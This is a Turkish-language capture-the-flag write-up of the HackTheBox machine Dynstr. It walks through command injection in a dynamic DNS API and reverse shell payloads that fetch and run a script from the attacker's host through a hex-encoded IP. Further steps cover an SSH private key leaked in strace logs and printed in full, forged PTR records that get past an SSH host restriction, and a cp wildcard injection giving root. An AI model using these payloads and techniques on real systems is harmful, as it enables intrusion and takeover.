HackTheBox
HTB Machine: Dynstr
December 31, 2025
Önsöz
Bu yazı, HackTheBox platformundaki Dynstr makinesini çözerken yaşadığım tüm süreci, deneme-yanılmaları, başarısız girişimleri ve sonunda bulduğum çözümleri detaylı şekilde anlatıyor. Amacım sadece “şunu yap, bunu yap” demek değil; gerçek bir penetrasyon testinde karşılaşabileceğiniz engelleri ve bunları nasıl aştığımı göstermek.
Bu makine beni saatlerce uğraştırdı. Özellikle reverse shell alma aşamasında karşılaştığım karakter limiti ve IP adresi filtreleme sorunları, DNS tabanlı SSH erişim kısıtlamasını bypass etme süreci gerçekten zorlu ama bir o kadar da öğretici oldu.
Bölüm 1: Keşif ve Bilgi Toplama
1.1 İlk Port Taraması
Her zaman olduğu gibi, işe nmap taraması ile başladım. Önce hızlı bir tarama yapıp açık portları tespit ettim, sonra bu portlara detaylı servis taraması yaptım:
nmap -sC -sV -p- 10.129.19.72
Tarama sonuçları:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open http Apache/2.4.41 (Ubuntu)
Üç port açık: SSH, DNS ve HTTP. DNS servisi hemen dikkatimi çekti çünkü bir CTF makinesinde DNS servisi genellikle önemli bir rol oynar. Zone transfer, DNS rebinding veya dynamic DNS zafiyetleri olabilir.
1.2 Web Uygulaması Keşfi
Tarayıcıda http://10.129.19.72 adresine gittiğimde “Dyna DNS” adında bir Dynamic DNS servisi ile karşılaştım. Sayfa tasarımı profesyonel görünüyordu ve birkaç önemli bilgi içeriyordu.
Sayfada gördüklerim:
“Quality Dynamic DNS” Bölümü:
“We are providing dynamic DNS for anyone with the same API as no-ip.com has. Maintaining API conformance helps make clients work properly.”
Bu çok önemli bir bilgiydi. No-IP API’si kullanıyorlar demek, /nic/update endpoint’i var demek. Bu API’yi daha önce başka projelerde kullanmıştım, yapısını biliyordum.
“Awesome Domains” Bölümü: Desteklenen domainler listelenmişti:
- dnsalias.htb
- dynamicdns.htb
- no-ip.htb
“Beta” Bölümü:
“We are still running in beta mode. Please use following shared credentials:”
- Username: dynadns
- Password: sndanyd
Beta kimlik bilgileri açıkça paylaşılmıştı! Bu bilgiler muhtemelen API erişimi için kullanılacaktı.
1.3 /etc/hosts Dosyası Güncellemesi
DNS tabanlı bir makine olduğu için, domain’leri /etc/hosts dosyasına ekledim:
echo "10.129.19.72 dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb" | sudo tee -a /etc/hosts
1.4 Dizin ve Dosya Taraması
Gobuster ile gizli dizinler aradım:
gobuster dir -u http://10.129.19.72 -w /usr/share/wordlists/dirb/common.txt
/nic dizini bulundu - bu No-IP API’sinin standart endpoint’i.
Bölüm 2: API Analizi ve Zafiyet Keşfi
2.1 No-IP API Yapısı
No-IP API’sini biliyordum. Standart kullanımı şöyle:
http://username:password@host/nic/update?hostname=HOSTNAME&myip=IP_ADDRESS
Bu bilgiyle ilk test isteğimi gönderdim:
curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=test&myip=10.10.15.248"
Yanıt: 911 [wrngdom: ]
“wrngdom” muhtemelen “wrong domain” anlamına geliyordu. Hostname parametresi belirli bir formatta olmalıydı.
2.2 Doğru Domain Formatını Bulma
Sayfada listelenen domain’lerden birini denedim:
curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=test.dynadns.htb&myip=10.10.15.248"
Yanıt: 911 [wrngdom: dynadns.htb]
Hala hata alıyordum. Hmm, dynadns.htb değil dynamicdns.htb olmalı galiba. Web sayfasına tekrar baktım ve doğru domain’lerin şunlar olduğunu gördüm:
- dnsalias.htb
- dynamicdns.htb
- no-ip.htb
dynadns.htb listede yoktu! Doğru domain ile tekrar denedim:
curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=test.no-ip.htb&myip=10.10.15.248"
Yanıt: good 10.10.15.248
Mükemmel! API çalışıyordu ve DNS kaydı oluşturulmuştu.
2.3 Command Injection Hipotezi
Dynamic DNS servisleri genellikle arka planda nsupdate veya benzeri araçları shell üzerinden çağırır. Eğer kullanıcı girdileri düzgün sanitize edilmiyorsa, command injection mümkün olabilir.
Hostname parametresine shell metakarakterları enjekte etmeyi denedim. Amacım, sunucunun girdimi bir shell komutunun parçası olarak çalıştırıp çalıştırmadığını test etmekti.
2.4 Time-Based Command Injection Testi
En güvenilir test yöntemi time-based injection. sleep komutu kullanarak, yanıt süresinden injection’ın çalışıp çalışmadığını anlayabilirim:
time curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=\`sleep%205\`.no-ip.htb&myip=10.10.15.248"
İlk Hata: Komutu çalıştırdığımda bash backtick’leri yorumladı ve URL bozuldu:
bash: http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=sleep: No such file or directory
Sorun şuydu: Çift tırnak içinde backtick’ler bash tarafından command substitution olarak yorumlanıyordu.
Çözüm Denemesi 1: Backtick’leri escape ettim:
time curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=\`sleep%205\`.no-ip.htb&myip=10.10.15.248"
Yanıt: 911 [wrngdom: no-ip.htb]
Hmm, çalışmadı. Sleep komutu çalışmıyor gibi görünüyordu (yanıt anında geldi).
Çözüm Denemesi 2: Tek tırnak kullandım (bash interpolation’ı engellemek için):
time curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`sleep%205`.no-ip.htb&myip=10.10.15.248'
Yanıt: 911 [wrngdom: sleep 5.no-ip.htb]`
İlginç! Sunucu backtick’leri ve içeriği gördü. Ama yine de sleep çalışmadı çünkü URL encoding sorunları vardı.
Çözüm Denemesi 3: Backtick’leri de URL encode ettim (%60):
time curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60sleep%205%60.no-ip.htb&myip=10.10.15.248'
Yanıt süresi: real 0m0.025s
Hala çalışmıyordu. Sanırım no-ip.htb domain’i sorunluydu.
Çözüm Denemesi 4: Farklı domain’leri denedim:
time curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60sleep%205%60.dnsalias.htb&myip=10.10.15.248'
Yanıt: 911 [nsupdate failed]
Süre: real 0m10.028s
EUREKA! 10 saniye sürdü! Bu, sleep 5 komutunun İKİ KEZ çalıştığı anlamına geliyordu (muhtemelen hem A kaydı hem de başka bir işlem için). Command injection zafiyeti doğrulandı!
Bölüm 3: Reverse Shell Alma - Uzun ve Zorlu Bir Yolculuk
Bu bölüm, makinenin en zorlu kısmıydı. Saatlerce farklı payload’lar denedim, onlarca hata aldım ve sonunda çalışan bir çözüm buldum.
3.1 İlk Reverse Shell Denemesi
Standart bash reverse shell payload’ı ile başladım:
bash -i >& /dev/tcp/10.10.15.248/9001 0>&1
Bunu URL encode edip gönderdim:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.15.248%2F9001%200%3E%261%27%60.no-ip.htb&myip=10.10.15.248'
Listener:
nc -lvnp 9001
Sonuç: Bağlantı gelmedi. Sunucudan gelen yanıt:
911 [wrngdom: 10.15.248/9001 0>&1'`.no-ip.htb]
3.2 Problem Analizi
Yanıta dikkatli baktığımda birkaç sorun fark ettim:
- Payload kesiliyor: Tüm payload görünmüyordu
- IP adresi bozuk:
10.10.15.248yerine10.15.248yazıyordu - ortadaki.10kaybolmuştu!
Bu, hostname parametresinde bir karakter limiti veya filtreleme olduğunu gösteriyordu.
3.3 Netcat Reverse Shell Denemesi
Daha kısa bir payload denedim:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60nc%2010.10.15.248%209001%20-e%20/bin/bash%60.no-ip.htb&myip=10.10.15.248'
Yanıt:
911 [wrngdom: 10.15.248 9001 -e /bin/bash`.no-ip.htb]
Yine aynı sorun! IP’nin ortasındaki .10 kayboluyordu.
3.4 IP Adresi Encoding Denemeleri
IP adresini farklı formatlarda encode etmeyi denedim:
Decimal Format: IP adresini decimal sayıya çevirdim:
- 10.10.15.248 = (10 × 256³) + (10 × 256²) + (15 × 256) + 248 = 168432632
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60nc%20168432632%209001%20-e%20sh%60.no-ip.htb&myip=10.10.15.248'
Yanıt: Hata verdi, decimal IP çalışmadı.
Hexadecimal Format:
- 10 = 0x0a
- 10 = 0x0a
- 15 = 0x0f
- 248 = 0xf8
- Toplam: 0x0a0a0ff8
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60nc%200x0a0a0ff8%209001%20-e%20sh%60.no-ip.htb&myip=10.10.15.248'
Bu da doğrudan çalışmadı.
3.5 Strateji Değişikliği: Payload İndirme
Doğrudan shell komutu göndermek yerine, dışarıdan bir script indirip çalıştırmayı denemeye karar verdim.
Adım 1: Kendi makinemde reverse shell script’i oluşturdum:
echo 'bash -i >& /dev/tcp/10.10.15.248/4321 0>&1' > /tmp/s
Adım 2: Python HTTP server başlattım:
python3 -m http.server 8000 --directory /tmp
Adım 3: Netcat listener açtım (farklı terminalde):
nc -lvnp 4321
Adım 4: Hedef sisteme curl ile script’i indirip çalıştıran komutu gönderdim:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60curl%2010.10.15.248:8000/s%7Cbash%60.no-ip.htb&myip=10.10.15.248'
HTTP server logları:
Serving HTTP on 0.0.0.0 port 8000...
İstek gelmedi! IP adresi hala sorunluydu.
3.6 Hex IP ile Tekrar Deneme
Bu sefer hex formatında IP kullandım:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200x0a0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'
Fark ettim ki tek tırnak kullanmam gerekiyor:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200x0a0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'
HTTP server logları:
10.129.19.72 - - [31/Dec/2025 11:49:03] "GET /s HTTP/1.1" 200 -
İSTEK GELDİ! Hedef sistem script’i indirdi!
3.7 Shell Neden Gelmiyor?
Script indirildi ama shell gelmedi. Sorun ne olabilir?
- Script’in içeriğini kontrol ettim:
cat /tmp/sÇıktı:
bash -i >& /dev/tcp/10.10.15.248/4321 0>&1
İçerik doğruydu.
- Belki
shyerinebashkullanmalıydım:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200x0a0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'
HTTP loglarında istek görünüyordu ama shell hala gelmiyordu.
- Pipe karakterini de encode etmeyi denedim (%7C):
Zaten %7C kullanıyordum, bu doğruydu.
3.8 Farklı Reverse Shell Payload’ları
Script içeriğini değiştirdim:
Python reverse shell:
echo 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.248",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'\''' > /tmp/s
Netcat mkfifo:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.248 4321 >/tmp/f' > /tmp/s
Her birini denedim.
3.9 Nihayet Shell!
Temiz bir başlangıç yapmaya karar verdim:
Terminal 1 - Listener:
nc -lvnp 4321
Terminal 2 - HTTP Server:
echo 'bash -i >& /dev/tcp/10.10.15.248/4321 0>&1' > /tmp/s
python3 -m http.server 8000 --directory /tmp
Terminal 3 - Exploit:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200xa0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'
Ve sonunda:
listening on [any] 4321 ...
connect to [10.10.15.248] from (UNKNOWN) [10.129.19.72] 52300
bash: cannot set terminal process group (816): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$
SHELL GELDİ! Saatler süren uğraştan sonra nihayet www-data olarak sisteme girdim!
Bölüm 4: Sistem Keşfi ve Lateral Movement
4.1 Temel Sistem Bilgisi
whoami
# www-data
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
# Linux dynstr 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
4.2 Kullanıcıları Keşfetme
ls /home/
# bindmgr dyna
cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# dyna:x:1000:1000:dyna,,,:/home/dyna:/bin/bash
# bindmgr:x:1001:1001::/home/bindmgr:/bin/bash
İki normal kullanıcı var: dyna ve bindmgr.
4.3 bindmgr Kullanıcısını İnceleme
ls -la /home/bindmgr/
Çıktı:
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 2021 .
drwxr-xr-x 4 root root 4096 Mar 15 2021 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 2021 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 2021 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 2021 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Dec 31 10:59 user.txt
support-case-C62796521 dizini ilginç görünüyordu. Destek vakası dosyaları genellikle debug bilgileri içerir.
4.4 Support Case Dosyalarını İnceleme
ls -la /home/bindmgr/support-case-C62796521/
Çıktı:
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 2021 strace-C62796521.txt
strace çıktısı var! strace, sistem çağrılarını kaydeder ve bazen hassas bilgiler içerebilir.
4.5 SSH Private Key Bulma
strace dosyasında SSH key aradım:
grep -r "PRIVATE KEY" /home/bindmgr/support-case-C62796521/
JACKPOT! strace çıktısında tam bir OpenSSH private key vardı:
/home/bindmgr/support-case-C62796521/strace-C62796521.txt:15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn...
Key, bir read() sistem çağrısının içinde görünüyordu. Muhtemelen birisi SSH key’ini okurken strace çalışıyormuş.
4.6 SSH Key’i Kaydetme
Key’i bir dosyaya kaydettim:
echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----' > /tmp/bindmgr_key
chmod 600 /tmp/bindmgr_key
4.7 SSH Bağlantı Denemesi
ssh -i /tmp/bindmgr_key bindmgr@127.0.0.1
Hata:
Permission denied, please try again.
Neden çalışmıyor? authorized_keys dosyasını inceledim:
cat /home/bindmgr/.ssh/authorized_keys
Çıktı:
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EA... bindmgr@nomen
from="*.infra.dyna.htb" kısıtlaması! SSH bağlantısı sadece *.infra.dyna.htb pattern’ine uyan hostname’lerden kabul ediliyordu. Reverse DNS lookup yapıldığında, bağlanan IP’nin hostname’i bu pattern’e uymalıydı.
Bölüm 5: DNS Manipulation ile SSH Bypass
5.1 Problemi Anlama
SSH sunucusu, bağlanan IP’nin reverse DNS kaydına bakıyor ve *.infra.dyna.htb ile eşleşmezse bağlantıyı reddediyor.
Çözüm: DNS sunucusuna kendi IP’miz için uygun bir PTR kaydı eklemeliyiz.
5.2 BIND Konfigürasyonunu İnceleme
cat /etc/bind/named.conf.local
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
infra-key ile dyna.htb ve 10.in-addr.arpa zone’larını güncelleyebiliyoruz!
5.3 infra.key İçeriği
cat /etc/bind/infra.key
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
5.4 DNS Kayıtlarını Ekleme
A kaydı ekleme (forward DNS):
nsupdate -k /etc/bind/infra.key << EOF
server 127.0.0.1
zone dyna.htb
update add attacker.infra.dyna.htb 86400 A 10.10.15.248
send
EOF
PTR kaydı ekleme (reverse DNS):
nsupdate -k /etc/bind/infra.key << EOF
server 127.0.0.1
zone 10.in-addr.arpa
update add 248.15.10.10.in-addr.arpa 86400 PTR attacker.infra.dyna.htb.
send
EOF
Not: PTR kaydında IP adresi ters sırada yazılır (248.15.10.10) ve sonunda nokta olmalı.
5.5 DNS Kayıtlarını Doğrulama
nslookup attacker.infra.dyna.htb 127.0.0.1
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: attacker.infra.dyna.htb
Address: 10.10.15.248
5.6 SSH ile bindmgr Olarak Bağlanma
Kendi makinemden (HackTheBox VPN üzerinden):
# Key'i kaydet
echo '-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----' > /tmp/bindmgr.key
chmod 600 /tmp/bindmgr.key
# SSH bağlantısı
ssh -i /tmp/bindmgr.key bindmgr@10.129.19.72
bindmgr@dynstr:~$
bindmgr olarak giriş başarılı!
5.7 User Flag
cat /home/bindmgr/user.txt
User flag alındı!
Bölüm 6: Privilege Escalation - Root’a Giden Yol
6.1 Sudo Yetkilerini Kontrol Etme
sudo -l
Çıktı:
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
bindmgr kullanıcısı /usr/local/bin/bindmgr.sh script’ini sudo ile şifresiz çalıştırabiliyor!
6.2 Script Analizi
cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ `cat .version 2>/dev/null` -le `cat $BINDMGR_DIR/.version 2>/dev/null` ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
fi
6.3 Zafiyet Analizi
Script’te kritik bir satır var:
cp .version * /etc/bind/named.bindmgr/
Bu satırda Wildcard Injection zafiyeti var!
* karakteri shell tarafından expand edilirken, dosya adları komut parametresi olarak yorumlanabilir. Örneğin, --preserve=mode adında bir dosya oluşturursak, cp komutu bunu bir parametre olarak algılar.
6.4 Exploit Stratejisi
.versiondosyası oluştur (script bunu kontrol ediyor)/bin/bash‘i çalışma dizinine kopyala--preserve=modeadında boş bir dosya oluştur- bash’a SUID bit ekle (chmod 4755)
- Script’i sudo ile çalıştır
- cp komutu
--preserve=modeparametresini algılayacak ve dosya izinlerini koruyacak - SUID bash
/etc/bind/named.bindmgr/dizinine kopyalanacak
6.5 Exploit Uygulama
cd /tmp
mkdir exploit
cd exploit
# .version dosyası (script için gerekli, mevcut versiyondan büyük olmalı)
echo "1" > .version
# bash'ı kopyala
cp /bin/bash .
# --preserve=mode trick için dosya oluştur
echo "" > "--preserve=mode"
# SUID bit ekle
chmod 4755 bash
# Dosyaları kontrol et
ls -la
Çıktı:
-rw-rw-r-- 1 bindmgr bindmgr 1 Dec 31 12:00 --preserve=mode
-rwsr-xr-x 1 bindmgr bindmgr 1183448 Dec 31 12:00 bash
-rw-rw-r-- 1 bindmgr bindmgr 2 Dec 31 12:00 .version
bash’ın SUID bit’i var (rwsr-xr-x).
6.6 Script’i Çalıştırma
sudo /usr/local/bin/bindmgr.sh
Çıktı:
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/exploit.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
Script hata verdi çünkü bash binary’si geçerli bir BIND config dosyası değil. AMA önemli olan dosyaların zaten kopyalanmış olması!
6.7 Kopyalanan Dosyaları Kontrol Etme
ls -la /etc/bind/named.bindmgr/
Çıktı:
-rw-rw-r-- 1 root root 1 Dec 31 12:00 --preserve=mode
-rwsr-xr-x 1 root root 1183448 Dec 31 12:00 bash
-rw-rw-r-- 1 root root 2 Dec 31 12:00 .version
SUID bit korunmuş! Ve dosya sahibi artık root!
6.8 Root Shell
/etc/bind/named.bindmgr/bash -p
-p parametresi, bash’ın effective UID’yi düşürmemesini sağlar (SUID için gerekli).
bash-5.0# whoami
root
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) groups=1001(bindmgr)
ROOT OLDUK!
6.9 Root Flag
cat /root/root.txt
Root flag alındı!
Bölüm 7: Özet ve Çıkarımlar
7.1 Saldırı Zinciri
7.2 Öğrenilen Dersler
1. Input Validation Kritik Öneme Sahip Dynamic DNS API’si kullanıcı girdilerini doğrudan shell komutuna geçiriyordu. Parameterized queries veya strict input validation kullanılmalıydı.
2. Debug Dosyaları Temizlenmeli strace çıktısında SSH private key vardı. Production sistemlerde debug dosyaları bırakılmamalı.
3. DNS Tabanlı Güvenlik Manipüle Edilebilir
from= SSH kısıtlaması DNS’e bağımlıydı. DNS sunucusu manipüle edilebildiği için bu koruma bypass edildi.
4. Wildcard’lar Tehlikelidir
Shell script’lerinde * kullanımı dikkatli yapılmalı. -- ile parametre sonlandırma veya değişken quoting kullanılmalı.
5. Encoding Teknikleri Filtreleri Bypass Edebilir IP adresi filtreleri, hex veya decimal encoding ile atlatılabilir.
Son Söz
Dynstr, DNS servisleri ve web güvenliği konusunda kapsamlı bir eğitim niteliğindeydi. Her aşamada farklı teknikler ve problem çözme yaklaşımları gerekti.
Özellikle reverse shell alma aşamasındaki karakter limiti ve IP filtreleme sorunları, gerçek dünya senaryolarında da karşılaşılabilecek engellerdi. Bu tür durumlarda alternatif encoding yöntemlerini denemek ve payload’ları optimize etmek önemli.
DNS manipulation ile SSH bypass tekniği de oldukça ilginçti. Güvenlik kontrollerinin birbirine bağımlı olduğu durumlarda, bir zincirin halkasını kırmak tüm sistemi etkileyebilir.
Son olarak, wildcard injection gibi klasik ama hala yaygın olan zafiyetler, basit görünen script’lerin bile ciddi güvenlik açıkları içerebileceğini gösteriyor.
Her CTF makinesi yeni bir şeyler öğretiyor. Dynstr da DNS, web güvenliği ve Linux privilege escalation konularında değerli dersler verdi.
Makine Bilgileri:
- Platform: HackTheBox
- İsim: Dynstr
- Zorluk: Medium
- İşletim Sistemi: Linux (Ubuntu)
- Çözüm Tarihi: 31 Aralık 2025
Happy Hacking!
Yorumlar